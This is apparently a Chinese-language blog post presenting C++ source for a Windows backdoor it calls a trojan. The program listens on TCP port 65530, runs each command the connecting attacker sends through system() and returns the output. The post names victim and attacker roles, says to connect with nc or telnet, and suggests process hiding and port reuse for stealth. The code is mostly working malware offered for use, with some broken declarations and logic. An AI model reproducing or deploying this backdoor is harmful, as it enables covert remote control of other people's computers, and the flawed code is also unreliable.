vlambda博客
学习文章列表

基于C/C++socket通信的后台木马程序


下面我们假设各位已经精通C/C++的socket网络编程了。开始我们的木马编码。


所需要的头文件、命名空间和链接库

#include <iostream>#include <stdio.h>#include <stdlib.h>#include <string>#include <windows.h>#include <winsock.h>#include <list>#include <vector>
using namespace std;
#pragma comment(lib,"ws2_32.lib")

初始化socket库

Socket_TCP_connect() { WORD socketversion = MAKEWORD(2, 0); //初始化版本 WSADATA socketData; //初始化套接字内容 WSAStartup(socketversion, &socketData); //初始化socket库 }


void Socket_TCP_Bind_Listen(int port = 65530, u_long ip_list = INADDR_ANY) { s1 = socket(AF_INET, SOCK_STREAM, 0); sin1.sin_family = AF_INET; sin1.sin_addr.S_un.S_addr = ip_list; sin1.sin_port = htons(port); bind(s1, (sockaddr *)&sin1, sizeof(sin1)); listen(s1, 5); Socket_TCP_Accept(); }

接受客户端信息

void Socket_TCP_Accept(){ char buffer[1024]; int addrlen = sizeof(sin2); while (true) { FILE *fp = fopen("123.txt", "w+"); fclose(fp); cout << ">>wait for connect……" << endl; s2 = accept(s1, (sockaddr *)&sin2, &addrlen); cout << ">>connect from " << inet_ntoa(sin2.sin_addr) << endl; while (true) { int ret = recv(s2, buffer, sizeof(buffer), 0); buffer[ret] = 0x00; string commend = buffer; string cmd = ""; for (auto &chr : commend) { if (chr == '\n') { chr = ' '; } cmd = cmd + chr; } cmd = cmd + "> 123.txt"; char c[1024]; strcpy(c, cmd.c_str()); cout << "执行:" << endl; cout << c << endl; if (system(buffer) == 0) { send(s2, "OK", strlen("OK"), 0); if (system(c) == 0) { char str[1024] = ""; FILE *fp2 = fopen("123.txt", "rb+"); fread(str, sizeof(char), 1024, fp2); cout << str; send(s2, str, strlen(str), 0); fclose(fp2); } } } closesocket(s2); } closesocket(s1); WSACleanup(); }

核心思想:

    本程序可以在主机上打开一个TCP连接,端口号为65530,并且接受客户端发来的指令,通过system()函数运行指令,并通过I/O操作将指令发送至客户端。
被攻击者为socket服务器端,攻击者为客户端。添加进程隐藏和多线程端口复用技术后,可以增加隐蔽性。

    连接方式:NC或者telnet


效果图: